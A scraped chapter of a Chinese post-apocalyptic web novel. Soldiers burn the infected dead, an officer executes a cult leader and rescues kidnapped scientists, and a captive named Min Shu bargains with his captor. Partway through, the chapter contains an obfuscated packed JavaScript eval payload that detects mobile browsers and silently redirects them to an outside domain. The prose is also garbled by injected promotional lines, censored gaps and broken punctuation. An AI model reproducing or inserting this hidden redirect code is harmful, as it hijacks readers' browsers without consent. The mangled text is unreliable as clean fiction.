第54章 命令

作品:《在格陵兰岛苟到世界终结

    同时,北美基地。


    接近北极圈的森林中,高大的白云杉树遮天蔽日,地上的积雪尚未完全融化,一片片洁白的积雪中间是略微泥泞的黑色苔原,士兵的军靴陷在其中,发出轻微的嘎吱声。


    昨天才下了一场冻雨,略带湿润水汽的空气中,一股硝烟的气味正渐渐蒸腾。


    茂密的白云杉林上方,有好几处正冒出不详的黑烟。


    几柱浓烟滚滚升腾,树林中,穿着制服的士兵推着铁制的铲车,将一车车尸体从不同的方向送入树林深处。


    两个军官打扮的男人站在一旁,看着一车一车的感染者的尸体被焚烧,其中左边的神情有些不忍。半晌后,叹了口气,低头抹了把脸:


    “已经**多少了?


    他旁边的军官看着稍稍年轻些,闻言看了眼手上的记录表,小心地道:“截止今天凌晨,3042人……


    年长些的军官听了,面色登时黑如锅底。年轻军官的脸色也很不好看,看着纸上黑白分明的数字,重重地叹了口气。


    就在这时,运送尸体的队伍中一个士兵忽然顿住脚步,丢开铲车的扶手从队伍中冲出,扶着树干俯下身。


    呕吐的声音传来。


    年轻的军官露出不忍的表情,年长的那个立即叫来人:“快去,把他扶下去休息。


    几个士兵匆匆走上去,将已经将不断呕吐士兵架住旁边去了。他已经有些虚脱了,走起路来踉踉跄跄,军帽掉下来落在了地上,露出了他苍白而覆满泪水的面孔。


    “**。


    年长的军官拿下嘴边的烟头,猛地扔在地上,又狠狠踩了好几脚:“这**都是什么事?!


    他显然是被气的不清,咆哮道:“那个什么**宗教是什么东西?!干出这种**糟践事!北美基地就一点都不知道?他们管事的是谁?这么大个基地怎么管的事?“


    年轻的军官无奈道:“听说他们以为那个宗教团体只在小部分人当中流行,就没有多管……他说着,声音变得艰涩:“没想到北美基地这么多免疫者都被策反了。


    北美基地**之处,所有人都以为只是单纯的感染暴露事件。然而等各路援助到了地方,才发现事情根本没有那么简单。基地内部的感染非常严重,他们用了整整三天才勉强控制住局势,然而在混乱中他们竟然发现这场感染暴露不是意外,而是人为!


    是有人人为散布了病毒,并且趁乱将基地里的一帮科学家连带着重要研究样本一起掳走了。


    末世之中,通讯沟通不流畅,很多人是到了基地才听说有这么个信奉「病毒崇拜」的宗教组织,而且在近几年见已经默不作声地扩大


    听说和异性朋友讨论本书情节的,很容易发展成恋人哦


    了势力,竟然让北美基地的许多免疫者都吸引入了教,并且毫无征兆地发起了这次叛乱。


    这件事发生的太突然了,以至于现在他们都还没完全搞清楚事情的始末。


    “我真就想不通了。那个年长些的军官咒骂道:“在基地里好吃好喝地供着他们,这群**怎么就想不开要搞这些幺蛾子?吃饱了撑的吗?嫌人死得还不够快、赶着让这个物种去投胎是吗!


    年轻军官默默听着他的咒骂,心里也有些认同。退一万步说,基地里的普通人也就罢了,毕竟人关久了会出些精神问题也不是不能理解。可这么多免疫者也跟着叛变他是没想到的,也实在理解不了,这些免疫者到底是图什么……


    但现在的当务之急,还是赶快追回那些被挟持的科学家,要知道那里头不仅有北美基地的重要科研人员,也有他们远东基地的人。


    年轻军官看了眼远处重重叠叠、山峦起伏的森林,有些担忧地道:“这里地形复杂,如果他们占据高处地形,容易遭遇伏击,不知道先遣部队找不找得到人……


    闻言,年长些的军官摆了下手,道:“这你不用担心,魏老大亲自带人去追了,听说差不多要追到了。


    “哦。


    接着低下头,看了一眼被扔在雪地里的烟头:


    “上校,你还是把烟头捡起来吧。他说:“随便丢烟头破坏自然环境,还有造成森林火灾的危险。


    年长的军官听了,猛地瞪起眼睛,低头看向已经在雪地里浸湿的烟头,心想这**还能燃起活?然而他还没来得及开骂,就听到年轻军官轻轻说:


    “乱扔烟头是要扣纪律分的。他道:“现在我们的周末总结都是魏老大签字。


    年长军官:……


    “……现在的小鸡毛崽子,真是反了天了,都管到领导头上来了——他嘴里骂骂咧咧的,却终是低下了头,将被雪水泡湿的烟头捡了起来。


    ·


    同时,山区中,一声**响起。无数飞鸟被惊起,乌压压的一片飞向天际。


    魏长川放下枪,看着最后一个仍在抵抗的免疫者倒在雪地上,金属的弹壳随着尸体倒入雪地里。鲜红的血液从男子杂乱的红棕色的头发下漫出,在被军靴踩踏地布满污浊的雪地上再增添了一层血红。


    山谷中弥漫着水汽,让血腥的气味更加明显,雪水融化汇集流入河道,溪水透着些微的粉红色。


    雪地上红红白白,十几具尸体横竖倒在山谷间。


    数天内,他们一路追踪,最终在河谷中追上了叛军。真正的交火只持续了半天,叛变基地免疫者里有一半持续抵抗,另一半选


    听说和异性朋友讨论本书情节的,很容易发展成恋人哦


    择投降此时正被军官押械蹲在山壁旁。


    形势已经非常明了。


    魏长川转头看向最后一人眸色冰冷:“你就是‘导师’?”


    导师是这个宗教团体中的人对头目的尊称而这个教唆了这么多免疫者叛变的宗教头子自己的真身竟然只是个普通人。山谷中的众人看着魏长川枪口下的白发杂乱皮肤褶皱双眼浑浊的老人都有些无法相信他就是制造这场大叛乱的罪魁祸首。


    ‘导师’跌坐在雪地上自知颓势


    “你、你——”他颤颤巍巍地指从山谷入口一直绵延到近前的尸体:“对同族如此屠戮!你知道他们多稀有吗?他们是被病毒选中的、在终末之时的幸运儿——”


    他神叨叨地嘟囔着众人半懂不懂的话最后对魏长川发出谴责:“你这样是会遭报应的!”


    闻言周围的士兵都面露讽刺感情基地里无辜被感染的人就不算是屠戮了?不过在这群极端宗教份子眼里或许在感染中死去的人都是活该。


    不过有战力的免疫者本来就没多少一下子**这么多人对人类整体来说确实是不小的损失。


    魏长川垂下眼看着地上横七竖八的尸体他们中的一些人还很年轻躺在雪地里面容青白。魏长川曾为许多免疫者提供过训练透过学武他依旧认出了其中不少人的脸。


    “我很遗憾。”


    他淡淡道。


    接着收回目光低头换下**上膛空**无声地落在雪地里他的枪口抵上老人的额头。老人浑身一颤似是这时才意识到死亡的来临不可置信地看向军官冷峻的、不带一丝感情的面孔:


    “等、等等——”他的瞳孔极具缩小:“难、难道你不想知道全部的真相吗我——”


    一声枪响。老人脑后射出血线向后倒在雪地上成为了众多尸体中最不堪的一具。


    魏长川没有停留哪怕一瞬收起枪跨过尚且温热的尸体。他身后的士兵无需命令便迈步上前开始清理战场。


    山谷间远离溪水的高地上支起了一个简陋的帐篷魏长川上前撩开布料便间里头三三两两坐着十几个被穿着白色防护服的科学家所有人都被捆绑住隔着层层防护不太看得出他们是否还活着。


    魏长川转过目光看向角落里一个身形微胖戴着眼镜的男性——正是上次飞到格陵兰岛为闵疏做检查的王博士。


    此时王博士正瞪大了眼睛被堵住的嘴不断发出’呜呜’的声音。


    见他还活着魏长川快步上前用**割断了王博士身上的绳索将堵


    如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦


    在他嘴里的布条拿下:“王博士久等了——”


    然而就在这时王博士忽然暴起一把揪住了魏长川的衣领:“你怎么在这儿?!”


    魏长川完全没想到这一出面露诧异。


    “谁叫你来的?”


    王博士整个人都快炸了脑门上全是急出来的汗接着面前男人的领子前后摇晃:“我不是传讯叫你留在格陵兰、一定要保护好闵疏吗?他人呢!”


    魏长川眉头一蹙接着似是意识到了什么面色骤然大变。


    王博士看到他的反应也意识到了什么脸一下子变得苍白。但很快想到了现在应该立刻做的事一把放开了魏长川登时后往他身上用力一推:


    “立刻回去!”他的语气急促而紧张道:“不惜一切代价保护好闵疏!听明白了吧现在他是最重要的!”


    ·


    闵疏是被一阵婴儿的哭声吵醒的。


    刚出生的婴儿哭声却很嘹亮遥远地穿过门板传到他耳边。


    闵疏在睡梦中挣扎了一会儿缓缓睁开了眼睛模糊的视线渐渐清晰看见了面前的熟悉的陈设。他还在那栋屋子里春天已经很接近极昼日照的时间变得很长


    这时门外再次传来婴儿的啼哭声接着传来几个男人不耐烦的咒骂声。


    意识到婴儿还活着闵疏松了口气接着他低下头下意识地看向自己的手臂——针头依旧埋在他的手臂中但向连的导管和血袋被取走了。


    这时门外响起一阵脚步声。


    闵疏抬起头便见门被打开奥古斯丁从外面走了进来手上端着一个盘子:“你醒了?”


    闵疏抬头看着他警惕地没有说话他可还没忘记之前奥古斯丁是怎么一副癫狂的样子。


    奥古斯丁似乎也不在意他有没有回应他走近在闵疏面前蹲下来将一个餐盘放在他面前:“吃点东西吧。”


    闵疏低头看向面前的餐盘。不大的盘子里装着简单的食物都是北美基地提供的物资里的。有两片面包几片烟熏三文鱼两片芝士两个水煮蛋上面撒了些胡椒粒。


    闵疏:……


    好典型的北欧食物。他看着餐盘不合时宜地想道。


    或许见他半天没有动作奥古斯丁道:“不想吃?”说罢往盘子上看了一眼:“我可以把鱼换成火腿。”


    “……没有。”闵疏摇了摇头不觉得火腿跟熏鱼之间有什么好挑剔的。他现在受人控制也由不得他挑不挑的。闵疏觉得头有点晕不知是因为被抽了血还是后颈被手刀了两回但他现在确实应该补充些营养。


    于是他


    你的朋友正在书荒,快去帮帮他吧


    低下头,拿起面包小口吃起来。面包和鸡蛋的味道不算太糟糕。只是等吃到烟熏三文鱼的时候,他的表情忍不住扭曲了一下。


    闵疏不怎么吃得惯熏鱼,于是他小小地咀嚼了两口,勉强地咽下去,就放下了鱼,转而夹起了一片芝士来吃。


    结果这是个更坏的决定。


    将芝士放进嘴里的闵疏一整个僵住了。


    ……怎么会有这么臭气熏天的东西?<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16293858|162165||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>闵疏吃出来了,这是他哪怕在留学最繁忙的时候都会刻意避开的芝士品种,带着一股浓重的羊腥气,根本无法下咽。


    闵疏这下咀嚼地更慢了,小口小口地咀嚼了好半天,才咽了下去,接着抬头朝奥古斯丁道:“有水吗?”


    奥古斯丁看了他一眼,转身走出去,回来的时候手上端来了一杯水。闵疏这时候也不去计较水里有没有毒了,他已经快被嘴里芝士的余味毒**。


    于是闵疏’吨吨吨’地将一整杯水都喝了下去。


    他把杯子放下,还心有余悸地咽了口唾沫。结果一抬头,就对上了奥古斯丁的目光。


    闵疏从他的目光里感到了些许不悦,微微屏住了呼吸。心想又怎么了,为什么要这么看着他?


    奥古斯丁凝视了他片刻,才垂下眼,看着他的盘子:“你最好早点适应。”他抬头看向闵疏,灰色的眼睛有些冷:“你需要营养,这里只有这些。”


    闵疏看着他,觉得奥古斯丁对他的态度就像是再看饲养的一头猪,要求他一定要好好吃饲料,尽职尽责地长肉。


    闵疏抿了抿嘴,不知道该说什么,但同时又觉得这是个机会,于是抬起头,试探性地道:“其实,如果有食材的话,我可以来做饭——”


    奥古斯丁用一声嗤笑打断了他的话。


    闵疏只能闭上嘴。


    他低下头吃了几口饭,忽地放下了餐盘,又抬起头,再次提出要求:“我要见胡嘉明。”


    奥古斯丁盯着他,微微眯起眼睛。


    闵疏回视他,暗中用握起了手:“要不然我就绝食。”心跳很快,但是没有退缩:“你们需要我配合,不是吗?那我至少要知道他没事。”


    他现在看明白了,无论如何奥古斯丁是需要他活着的,甚至还需要他健康地活着,所以他至少可以适当地提出要求,也可以借此试探看看奥古斯丁的底线在什么地方。


    奥古斯丁凝视了他半响,转身出了门,片刻后,一阵杂乱的脚步声传来,门再次被打开,奥古斯丁拎着被五花大绑的胡嘉明进入了房间。


    闵疏见他还活着,心下松了口气。胡嘉明看见他,睁大了眼睛,嘴里发出’呜呜’的声音。


    他的手被反绑在身后,绳索缠绕了好几圈,


    如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦


    将他的手臂紧紧和身体捆在了一起,嘴上贴了张胶布,让他没办法说话,只能从鼻子里发出声音。


    闵疏迅速地将他扫视了一遍,没看到什么肉眼可见的伤口:“狗儿,你没事吧?没受伤吧?”


    胡嘉明’嗯’了一声,点了点头,似乎是在表示他没有事。


    闵疏呼出一口气,又问:“那伊万——”


    他的问题还没出口,奥古斯丁就出声打断:“你看过了,他没事。”接着他将胡嘉明往后一扯,直接扔出了门外,闵疏听到了他的惊呼声,接着又是一阵脚步声,像是有人在门外接住了他,带着他走开了。


    闵疏听到呢脚步声,发现是自近到远,向下延伸消失的。


    这是个两层的小楼,他们现在在第二层,这样的房子在镇上只有一栋,那就是镇长家。


    闵疏判断出了他们在什么地方,紧接着心下一凉。他记得镇长有捕猎的习惯,当初他们南下的时候将**带走了一些,不知道房子里还有没有剩……


    奥古斯丁俯视他苍白的脸,只以为他是恐惧,略带嘲讽的笑意在唇边一闪而过。


    “人你也见过了,接着吃饭。”奥古斯丁俯视着他,道:“今晚好好休息吧,我们明天出发。”


    闵疏听到这句话,猛地抬起头,惊讶道:“……出发?去什么地方?”


    闻言,奥古斯丁的脚步一顿,转过头,垂眼看向闵疏。


    闵疏发现他脸上又露出了那种他熟悉的,一种混杂着惊讶与轻蔑的神情:


    “你以为我们会留在这里?等魏长川找上门来吗?”


    闵疏一愣,接着心下一喜——奥古斯丁会这么说,至少确认了魏长川还活着。


    活着就好。闵疏受到了点鼓舞,昨天奥古斯丁说了那些话,他一直在恐惧,害怕魏长川在基地那边会中什么圈套,或者病死在什么他看不见的地方,但既然魏长川还活着,闵疏就有了七成信心,他相信他一定会找到他。


    那现在最重要的就是拖延时间,闵疏在心底做出判断,脸上还是一副错愕的神情,接着焦急地道:“但是,离开了小镇能去哪里?这里荒郊野岭的,只有小镇上有暖气和电力——”


    奥古斯丁俯视着他,冷道:“这就不需要你担心了。”说罢,他没有给闵疏再说话的机会,直接转过了身,’砰’地一声关上了门。


    闵疏的目光和沟通渠道都被门板隔开,大门重重合上,扬起了一地的灰尘。


    闵疏瞪着面前漂浮的灰尘,半晌后,才缓缓吐出一口气,心里有一瞬的泄气,但很快又振作起来,抬手抹了脸,努力做了几次深呼吸,将胸腔里翻滚的情绪强压下去。


    遇到这种事情,只能他自己坚强起来。


    闵疏逼迫自己思考起来,想一想下次奥古斯丁再来,他还有什么方法可以尽量拖延时间,这群人会把他带到什么地方去?首都?还是别的地方?


    屋外婴儿的哭声不知什么时候停了下来,盘子里的熏鱼和芝士片冰凉地散发着轻微的腥味,闵疏平复了一下自己的呼吸,还是将食物塞进了嘴里,勉强自己全部吃了下去。奥古斯丁有一句是对的,他现在需要营养,需要恢复体力,留得青山在不愁没柴烧,如果连健康都没有了,那才真是没有机会了。